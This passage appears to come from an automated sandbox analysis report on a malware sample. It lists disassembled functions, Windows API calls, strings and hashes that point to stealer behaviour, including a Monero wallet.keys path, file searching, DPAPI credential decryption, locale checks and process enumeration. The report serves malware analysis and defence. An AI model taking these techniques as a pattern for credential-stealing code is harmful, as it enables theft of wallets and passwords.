Opcode Fuzzy Hash: 0e4e1e5527e0dedfa90815e82dce0cf9e9d8deec541f97731fa0319d873baae2
Instruction Fuzzy Hash: 50111F75904208AFDB64DFA1DC88BEDB7B8AB48700F1045CCF649B6250D7749A84CF90

Function 00BB7D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

GetKeyboardLayoutList.USER32(00000000,00000000,00BC05B7), ref: 00BB7D71
LocalAlloc.KERNEL32(00000040,?), ref: 00BB7D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00BB7D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00BB7DF2
LocalFree.KERNEL32(00000000), ref: 00BB7EB2

Strings

/ , xrefs: 00BB7E0F

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b59427387ab00a701c31d1cc0556fd04b173b02969b8b642c0c53f8311497d46
Instruction ID: f48ea10fff3ccd085b2c523a0e04bf8075aa2a6b6bc10df115edd84a026b69df
Opcode Fuzzy Hash: b59427387ab00a701c31d1cc0556fd04b173b02969b8b642c0c53f8311497d46
Instruction Fuzzy Hash: DC413C71954218ABCB24DB94DC99BFEB7B8FF54700F1041D9E00A66291DBB46F88CFA1

Function 00BAE530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00BC0D79), ref: 00BAE5A2
StrCmpCA.SHLWAPI(?,00BC15F0), ref: 00BAE5F2
StrCmpCA.SHLWAPI(?,00BC15F4), ref: 00BAE608
FindNextFileA.KERNEL32(000000FF,?), ref: 00BAECDF

Strings

\*.*, xrefs: 00BAE54D

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: fb834d342011b8366e26f2221a7c8ec41137ccf815681dc216ef8f2c29226433
Instruction ID: d4e1769243b8006e73698265e9ad2544cebca86b426b4767c5476c6cbc359150
Opcode Fuzzy Hash: fb834d342011b8366e26f2221a7c8ec41137ccf815681dc216ef8f2c29226433
Instruction Fuzzy Hash: 0D12F271D10118ABCF24FB60DDA6EFD77B9AF54300F4045E9B51A66091EEB06B48CFA2

Function 00FF6E94 Relevance: 9.2, Strings: 6, Instructions: 1698COMMON

Download Yara Rule

Strings

{ /_, xrefs: 00FF7A9D
Gl}, xrefs: 00FF749E
./, xrefs: 00FF7DF4
&r7~, xrefs: 00FF73E8
.m, xrefs: 00FF70AA
WD/9, xrefs: 00FF7B89

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &r7~$./$.m$Gl}$WD/9${ /_
API String ID: 0-3525660750
Opcode ID: 9ebccf49d38ea5a6ccc082a8be838188098a4c8f00cd31a98fbf311526efb029
Instruction ID: 0370d932ceacc24800d56f66e4c812f203c40a7e0cbffaafdf339106ef7a9585
Opcode Fuzzy Hash: 9ebccf49d38ea5a6ccc082a8be838188098a4c8f00cd31a98fbf311526efb029
Instruction Fuzzy Hash: F1B228F3A082049FE3046E2DEC8577ABBE9EFD4720F1A463DE6C4C7744E93598058696

Function 00FF04BF Relevance: 9.1, Strings: 6, Instructions: 1607COMMON

Download Yara Rule

Strings

w3{, xrefs: 00FF0A65
aw_, xrefs: 00FF171C
}, xrefs: 00FF07BF
`W/, xrefs: 00FF06D0
}, xrefs: 00FF07B4
*;?, xrefs: 00FF13D2

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *;?$`W/$aw_$w3{$}$}
API String ID: 0-2686939119
Opcode ID: 8f345bad4f643d6f3db16460d2da9a85538d26a37527cf821e6032a6043b7001
Instruction ID: 2d26b2a2b1f23ccca8a822c76a880d582877d1caaa2de583d4833107d26403b9
Opcode Fuzzy Hash: 8f345bad4f643d6f3db16460d2da9a85538d26a37527cf821e6032a6043b7001
Instruction Fuzzy Hash: CBB207F3A0C6149FE3046E2DEC8567AFBE9EF94720F16453DEAC4C3744EA3558018696

Function 00C0F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

{, xrefs: 00C0FA9A
}, xrefs: 00C0FA8F
}, xrefs: 00C0F99F
\u, xrefs: 00C0F9A3
{, xrefs: 00C0F9AA
\u, xrefs: 00C0FA93

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: 6fbc80e0d4378046d1ff0c6b5f88f8801f40d80e87733e669c7944ac6b7f26a9
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: 54417012E19BD9C5CB058B7444A02AEBFB22FD6210F6D82AEC4DD1F7C2C774418AD3A5

Function 00BAC920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BAC971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BAC97C
lstrcat.KERNEL32(?,00BC0B47), ref: 00BACA43
lstrcat.KERNEL32(?,00BC0B4B), ref: 00BACA57
lstrcat.KERNEL32(?,00BC0B4E), ref: 00BACA78

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 819cac0f9d345c08049ba6760558b8005d31025649cb9c09f6eed195a792c792
Instruction ID: d1ad23336671c24d66230d0ba9fd9adc3afb21f98b65c2d091d237a044c13215
Opcode Fuzzy Hash: 819cac0f9d345c08049ba6760558b8005d31025649cb9c09f6eed195a792c792
Instruction Fuzzy Hash: E6413DB590821EDFDB10DFA4DD89BFEBBB8BB48704F1041A8F509A6280D7745A84CF91

Function 00BB6BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00BB6C0C
sscanf.NTDLL ref: 00BB6C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BB6C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BB6C60
ExitProcess.KERNEL32 ref: 00BB6C7A

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8020271d6d583c9470348c36d2484e354362173a9d982b90d9dd409553fee7ee
Instruction ID: 9ef0100e564683a55b14641d8912a3d6b7a6ae5a3349b4a6114029316a006e4a
Opcode Fuzzy Hash: 8020271d6d583c9470348c36d2484e354362173a9d982b90d9dd409553fee7ee
Instruction Fuzzy Hash: 3221BBB5D14208AFCF04DFE4E8459EEB7B5FF48300F048569E51AB3250EB749648CB65

Function 00BA72A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00BA72AD
RtlAllocateHeap.NTDLL(00000000), ref: 00BA72B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BA72E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00BA7304
LocalFree.KERNEL32(?), ref: 00BA730E

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: fa9ccc6a003ad3d8c3fbd336c9fc74475a7fa6f3fc5739027e918d0b7602b813
Instruction ID: 259b52fef5719b558cb100405fe17bfb1f1a0b1181dc2b7264c95ff58c3f1227
Opcode Fuzzy Hash: fa9ccc6a003ad3d8c3fbd336c9fc74475a7fa6f3fc5739027e918d0b7602b813
Instruction Fuzzy Hash: 140140B5A48308BFDB10DFA4DC45F9D77B8EB44B00F104054FB49BA2D0DA70AA448B54

Function 00BB9790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BB97AE
Process32First.KERNEL32(00BC0ACE,00000128), ref: 00BB97C2
Process32Next.KERNEL32(00BC0ACE,00000128), ref: 00BB97D7
StrCmpCA.SHLWAPI(?,00000000), ref: 00BB97EC
CloseHandle.KERNEL32(00BC0ACE), ref: 00BB980A

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: b0088f3eebd717c7c0f19a996ce27b4b9776d57a249dce25ab6fdd6ad2d0dfd3
Instruction ID: 42af9577a57dc131414ec285a979bba193a628021328ef5611e1d2c9bac23688
Opcode Fuzzy Hash: b0088f3eebd717c7c0f19a996ce27b4b9776d57a249dce25ab6fdd6ad2d0dfd3
Instruction Fuzzy Hash: DA010C75A14208AFDB20DFA5CD88BEDBBF8FB08700F1045C8E949A6250EB709A84CF50

Function 00BC4573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

<7\h, xrefs: 00BC4752
huzx, xrefs: 00BC48F0

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: 08af92a3f066262f836936b7f9f456b1b21084044b2b87ca93f180327f484345
Instruction ID: e70451efd5eca980357f0cd951a61e98dbf660ab4430a5fe3f7fcd4dbb17f10e
Opcode Fuzzy Hash: 08af92a3f066262f836936b7f9f456b1b21084044b2b87ca93f180327f484345
Instruction Fuzzy Hash: ED63533241EBD41ECB27CB3047B6A917FA6FA1321031D4ACEC5C18F5B3C694AA56E356

Function 00FF8993 Relevance: 6.6, Strings: 4, Instructions: 1649COMMON

Download Yara Rule

Strings

S]~, xrefs: 00FF9C63
C?~{, xrefs: 00FF9A42
v4q6, xrefs: 00FF9912
=u5=, xrefs: 00FF8DEE

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
